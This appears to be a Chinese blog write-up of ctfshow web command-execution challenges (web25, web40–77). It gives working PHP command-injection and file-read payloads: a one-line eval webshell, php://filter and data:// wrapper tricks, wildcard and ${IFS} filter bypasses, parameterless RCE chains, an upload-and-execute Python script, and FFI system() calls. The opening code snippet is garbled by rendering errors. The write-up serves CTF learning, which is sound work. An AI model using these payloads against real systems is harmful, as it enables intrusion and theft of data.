ctfshow web入门 命令执行以及web25

web25

拿到一段代码后,开始分析

error_reporting(0); include(“flag.php”); if(isset($_GET[‘r’])){
$r = G E T [ ′ r ′ ] ; m t s r a n d ( h e x d e c ( s u b s t r ( m d 5 ( _GET['r']; mt_srand(hexdec(substr(md5( GET[r];mtsrand(hexdec(substr(md5(flag), 0,8)));
r a n d = i n t v a l ( rand = intval( rand=intval(r)-intval(mt_rand());
if((!KaTeX parse error: Expected '}', got 'EOF' at end of input: …)){ if(_COOKIE[‘token’]==(mt_rand()+mt_rand())){
echo $flag;
}
}else{
echo $rand;
} }else{
highlight_file(FILE);
echo system(‘cat /proc/version’);

  • mt_srand(hexdec(substr(md5($flag), 0,8)));
    将flag进行md5加密,返回从第一个到第八个数,再将数字加密
  • ! r a n d : 满 足 这 个 条 件 表 示 rand:满足这个条件表示 randrand=0,即r=mt_rand()
  • 再满足token=mt_rand()+mt_rand() ,这里不是说token等于mt_rand()的两倍,而是token等于第一次加密的值加上第二次加密的值,因为生成的随机数可以说是一个线性变换,即可得到flag
  • 现在为了获得flag,即获得第一次加密的值即可,
    mt_scrand(seed)这个函数的意思,是通过分发seed种子,然后种子有了后,靠mt_rand()生成随机数, 要获得第一次加密的值就需要获得种子,由函数得:r=0时,得到随机数rand
    在这里插入图片描述
  • 再通过脚本,由随机数推得原种子,利用脚本,得到种子
  • 在这里插入图片描述再利用种子得到第一次随机得到的数和第一次随机值与第二次随机值的和
    在这里插入图片描述

尝试多个种子,最终得到对应的token以及第一次的随机数r,使用wp修改参数得到wp
在这里插入图片描述

web40

命令执行涉及相关函数:

1.三大输出函数print_r(),var_dump(),var_export()

print_r():以人类易读的格式显示一个变量的信息
返回结果:Array ( [0] => 1 [1] => 2 [2] => Array ( [0] => a [1] => b 
[2] => c ) )

vat_dump():此函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。
数组将递归展开值。
返回结果:array(3) { [0]=> int(1) [1]=> int(2) [2]=> array(3) { [0]=> string(1)
 "a" [1]=> string(1) "b" [2]=> string(1) "c" } }

var_export()var_export() 函数返回关于传递给该函数的变量的结构信息,
它和 var_dump() 函数类似,不同的是其返回的表示是合法的 PHP 代码。
返回结果:array (0 => 1, 1 => 2, 2 => array ( 0 => 'a', 1 => 'b', 2 =>
 'c', ),)

代码如下:
<?php
$a = array (1, 2, array ("a", "b", "c"));
print_r($a);
?>
 
2.system()— 执行外部程序,并且显示输出
system(string $command) command为要执行的命令如:ls,同时system中
也可以执行eval()函数,并且system()函数的结果可以显示在浏览器不需要echo3.assert()函数:assert函数是直接将传入的参数当成PHP代码直接,不需要以分
号结尾

4.preg_replace('正则规则','替换字符''目标字符')
执行命令和上传文件参考assert函数(不需要加分号)。
将目标字符中符合正则规则的字符替换为替换字符。

5.exec()函数:exec 执行系统外部命令时不会输出结果,而是返回结果的最后一
行,如果想要输出结果可以print_r函数以数组的形式打印出来

6.passthru()函数:直接将结果输出至浏览器
passthru()system()的区别,passthr())直接将结果输出到浏览器,不需要使用 echoreturn 来查看结果,不返回任何值,且其可以输出二进制

7.shell_exec():函数通过shell环境执行命令,并且将完整的输出以字符串的方式
返回(这是官方的说明),用大白话讲就是通过shell这个程序(在Linux其实shell
算是一种执行我们用户输入命令的一个程序吧,我的理解是这样)然后执行我们需要
的命令,他的返回方式是字符串,不懂的话可以参考一下我链接的文章。

8.show_source()函数 打印输出或者返回  路径文件中语法高亮版本的代码
跟highlight_file()一样。

9.eval()函数:传入的参数必须为PHP代码,既需要以分号结尾    
 <?php @eval($_POST['cmd']);?>

10.scandir()函数:列出指定路径中的文件和目录,返回的是一个数组,可以用
提到的三大输出函数来打印

前记:
之前许多的题目解题方法都差不多,就没有写wp,只是提供一下相关的解题思路:

  • cat 等读取函数过滤绕过方法:
more:一页一页的显示档案内容
less:与 more 类似。但在用 more 时候可能不能向上翻页,不能向上搜索指定字符串,而 less 却可以自由的向上向下翻页,也可以自由的向上向下搜索指定字符串。
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:命令的作用和 cat -n 类似,是将文件内容全部显示在屏幕上,并且是从第一行开始显示,同时会自动打印出行号。
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容。可以利用报错将文件内容带出来(-f<名称文件>  指定名称文件,其内容有一个或多个文件名称时,让file依序辨识这些文件,格式为每列一个文件名称。)
  • system等执行函数过滤

使用其他的执行函数:passthru,echo

> echo (`tac%09f*`) ;  这里是反单引号
> passthru("tac%09f*"); 
> system("tac%09f*");

使用伪协议:
include函数包含伪协议:

?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php

其中?>是表示php闭合,在;被过滤后可以使用,这句话的意思是将想要得到的文件进行base64处理后显示出来。

使用eval传参:

?c=eval($_GET[1]);&1=system(‘cat flag.php’);

  • 空格绕过
    使用url编码 %20或者 %09

  • 括号绕过
    使用不需要括号可执行的函数

include “/etc/passwd”;
require “/etc/passwd”;
include_once “/etc/passwd”;
require_once “etc/passwd”;

  • 当结果以include函数输出的话,可以利用php伪协议 data协议

在这里插入图片描述

 ?c=data://text/plain,<?php system('cat fl*');?> 
  data://text/plain相当于执行了php语句,php语句已经进行了闭合,后面的语句即以html的格式显示在页面上
 ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg== 
 base64表示:<?php system('cat flag.php');?>

web40解答:
在这里插入图片描述对几乎所有的方法都进行了过滤

采用无参数RCE:

科普文章:
无参数RCE总结
例题禁止套娃wp

rce无参数:
源码中含有这样一段代码:

preg_replace(’/[^\W]+((?R)?)/’, ‘’, $GET[‘code’])
\w匹配字母、数字和下划线,等价于 [^A-Za-z0-9
],然后(?R)?这个意思为递归整个匹配模式

  • 所以递归函数 a(b(c())); 是有效的,(‘b’)或者a(‘b’,‘c’)是无效的

- 利用递归,各种函数

现在目的是为了查看当前目录的文件名

print_r(scandir(’.’)); 输出当前目录的内容首先构造出一个 .

scandir() :扫描当前目录
localeconv()返回一包含本地数字及货币格式信息的数组。而数组第一项就是"."
current()返回数组中的单元,默认取第一个值,还可以用pos()替代:

  • print_r(scandir(pos(localeconv()))); 其他构造 . 的方法在上面的总结中

接下来是读取想要的文件
在这里插入图片描述

  • 获取绝对路径的函数:getcwd()和realpath(’.’)
  • 输出当前文件夹所有文件名:print_r(scandir(getcwd()));
    在这里插入图片描述
  • 读取最后一个数组名:

show_source(end(scandir(getcwd())));

或者用readfile、highlight_file、file_get_contents 等读文件函数都可以(使用readfile和file_get_contents读文件,显示在源码处)

show_source(current(array_reverse(scandir(getcwd()))));
array_reverse() 以相反的元素顺序返回数组

倒数第二个:

show_source(next(array_reverse(scandir(getcwd()))));

也可以随机返回一个数组:
array_flip()是交换数组的键和值,array_rand()是随机返回一个数组

show_source(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(current(localeconv())))));

在这里插入图片描述

从套娃题目中获知另外一种读取文件的方法,利用session

session_id(): 可以用来获取/设置 当前会话 ID。
session需要使用session_start()开启,然后返回参数给session_id()
使用session之前需要通过session_start()告诉PHP使用session,php默认是不主动使用session的。

但是有一点限制:文件会话管理器仅允许会话 ID 中使用以下字符:a-z A-Z 0-9 ,(逗号)和 - 减号)
但是hex2bin()函数可以将十六进制转换为ASCII 字符,所以我们传入十六进制并使用hex2bin()即可

show_sourse(hex2bin(session_id(session_start())));

ban了hex关键字,导致hex2bin()被禁用,但是我们可以并不依赖于十六进制转ASCII的方式,因为flag.php这些字符是PHPSESSID本身就支持的。

在这里插入图片描述

web54

  • 过滤 ;: 用%0a 绕过 ,%0a被过滤 ||绕过 (||表示默认前面执行成功就不执行后面)
  • 过滤空格: 用%09绕过 ,%09被过滤,使用重定向符 <>或 <绕过 ,重定向符被过滤使用 ${IFS} (内部字段分隔符)
    过滤
  • <>是在HTML(标准通用标记语言下的一个应用)文档中用于划分标记的一对符号。其中,“<”用“&lt”表示,“>”用“&gt”表示
  • 提取根目录下的文件: cat /flag
  • 过滤* :?表示一个位,fla?.php
    ’ ’ 自动省略 ,fla’'g.php
    \自动省略 , fla\g.php

在这里插入图片描述这一题对正则表达式过滤的更加严格,过滤了<> % 空格 ;以及其他很多读取文件的方式。

  • 方法一:
    grep test *file 在当前目录中查找后缀有file字样的的文件中包含test字符串的文件并打印出来。

?c=grep${IFS}'{'${IFS}fl?g.php 在fl?g.php中查找和直接执行

  • 方法二:

bin目录

?c=/bin/?at${IFS}f???????

在fl?g.php中查找包含{字符串 和直接执行cat fla?.php是不一样的


web 55-56(写完忘记保存了,擦!)


  • 两个大概的解法是一样的,55过滤的字母,56过滤了数字和字母
  • system:命令执行函数;eval:代码执行函数;include:常使用php伪协议进行操作。
<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

bin为binary的简写,主要放置一些系统的必备执行档例如:cat、cp、chmod
df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等。
我们日常直接使用的cat或者ls等等都其实是简写,例如ls完整全称应该是/bin/ls

  • 相关payload(只用于web55)
?c=/???/????64 ????????%0a
或者
?c=/???/???/????2 ????????
?c=/usr/bin/bzip2 flag.php
把flag.php压缩,然后访问url+flag.php.bz2就可以把压缩后的flag.php给下载下来
但是 不是每一台电脑都有这个命令,或者数字也被过滤了,就需要使用大佬的方法了

无字母RCE的求解方法

  • 使用脚本更加方便(也是web56的方法)
 import requests
url = 'http://00f182e7-b99e-4456-b933-952d51b09c1a.challenge.ctf.show:8080/'
url += '?c=. /???/????????[@-[]'#构造url
while True:
    r = requests.post(url,files={'file':("data.txt","cat flag.php")})#以post进行发包
    flag = r.text.split("ctfshow")#split() 通过指定分隔符对字符串进行切片,如果参数 num 有指定值,则分隔 num+1 个子字符串
    if len(flag)>1:#说明flag获得值了!
        print(r.text)#打印flag
        break#跳出循环
  • 利用post方式向目标网站发出请求,执行读取目标文件的命令,读取flag并打印出来。在这里插入图片描述

web57

// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}
  • 这一题的题意是构造出36这个数字
$(())-------1
$((~37))------36
所以我们只需要保证中间是-37即可,
$((~$(())$(())))---1
所以
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))代表36,即可获取flag
  • 使用脚本获得36:

harker = “ ( (   ((~ (( ((”+" ( (   ((~ (( (())))"*37+"))))" print(harker)

脚本:

harker = "$((~$(("+"$((~$(())))"*37+"))))"
print(harker)
 

后续是对disable_fuction的考察 (58-70)

  • 文件读取的方式:

glob协议:

 c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}

通过单一函数读取文件

c=echo file_get_contents(“flag.php”);
c=readfile(“flag.php”);
c=var_dump(file(‘flag.php’)); /c=var_export(scandir(’/’));
c=print_r(file(‘flag.php’));
c=$ a=opendir(’./’);while(($ file = readdir($ a)) !=false){echo $file." ";}
c=print_r(scandir(current(localeconv())));

//这里做一个解释file — 把整个文件读入一个数组中

  • 显示文件

下面的函数经常是disable_fuction

c=show_source(“flag.php”); show_source()函数指调用php文件
c=highlight_file(“flag.php”);
//payload介绍
c=include(’/flag.txt’);
c=require(’/flag.txt’);
c=require_once(’/flag.txt’);

> 通过fopen去读取文件内容,这里介绍下函数 fread() fgets() fgetc() fgetss() fgetcsv()
> gpassthru() 
> payload: 
> c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}//一行一行读取
> c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}//一个一个字符读取 
> c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}

71题

<?phperror_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c=$_POST['c'];
eval($c);
$s=ob_get_contents();
ob_end_clean();
echopreg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}?>

ob_get_contents — 返回输出缓冲区的内容 ob_end_clean — 清空(擦除)缓冲区并关闭输出缓冲
此函数丢弃最顶层输出缓冲区的内容并关闭这个缓冲区。如果想要进一步处理缓冲区的内容,必须在ob_end_clean()之前调用ob_get_contents(),因为当调用ob_end_clean()时缓冲区内容将被丢弃。

  • 本题扫描目录后,得到的数字和字母都转换为?

在这里插入图片描述

payload:c=require_once(’/flag.txt’);exit();
使用exit() 或者die() 函数提前跳出运行过程

72题(本题仅作了解)

  • 本题是对opendir的绕过

open_basedir是php.ini中的一个配置选项

它可将用户访问文件的活动范围限制在指定的区域,

假设open_basedir=/home/wwwroot/home/web1/:/tmp/,那么通过web1访问服务器的用户就无法获取服务器上除了/home/wwwroot/home/web1/和/tmp/这两个目录以外的文件。

注意用open_basedir指定的限制实际上是前缀,而不是目录名。

opendir详解

73-74简单扫描目录读取即可

75-76(复现失败)

  • 都可以用glob协议扫描目录:
    读取文件(复现失败),PDO(PHP Database Object)去执行sql语句进而读出flag

这里的?>是为了闭合前面

<?php
$a = '?><?php echo 111;?>';
eval($a);
 c=?><?php 
	$a=new DirectoryIterator("glob:///*");
	foreach($a as $f)
	{
		echo($f -> __toString().'  ');
	}
	exit();
?>
//web75 flag在 /flag36.txt;web76 flag在 /flag36d.txt

c=
try {
    $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
        'root');

    foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
        echo ($row[0]) . "|";
    }
    $dbh = null;
} catch (PDOException $e) {
    echo $e->getMessage();
    exit(0);
}
exit(0);
//我看不太懂,只能先抄个答案了

77题

FFI的介绍

PHP7.4以上,FFI提供了高级语言直接的互相调用,而对于PHP来说,FFI让我们可以方便的调用C语言写的各种库。

c=$ffi = FFI::cdef("int system(const char *command);");
$a='/readflag > 1.txt';
$ffi->system($a);
  • 再进入/1.txt读取文件即可
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
在CTFweb入门命令执行指的是通过Web应用程序的漏洞,将恶意的命令注入到应用程序执行。这样的攻击可以导致未经授权的访问和操纵应用程序的数据和功能。 根据引用提供的信息,可以看到一些常见的双写绕过技巧,如分号、竖线、双与号等。这些技巧可以用来绕过应用程序对输入参数的限制,从而注入恶意的命令。 引用提到的payload,其使用了一个通用的命令执行函数"show_source"来显示指定文件的源代码。这个payload可以用来尝试执行"flag.php"文件的源代码。但前提是要知道有一个名为"flag.php"的文件存在。 另外,引用提供了另一种payload的示例,其使用了array_reverse和scandir函数来获取文件目录并显示指定文件的源代码。同样,也可以直接使用show_source('flag.php')来显示"flag.php"文件的源代码。 需要注意的是,命令执行漏洞是非常危险的,因为它可以导致恶意用户执行任意的系统命令。为了保护Web应用程序免受此类攻击,开发人员应该对用户的输入进行严格的验证和过滤,并使用安全的编程实践来防止命令注入漏洞的发生。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [ctfshow web入门命令执行](https://blog.csdn.net/uuzfumo/article/details/128357863)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [CTFShow Web入门 命令执行](https://blog.csdn.net/qq_19533763/article/details/123910732)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

YnG_t0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值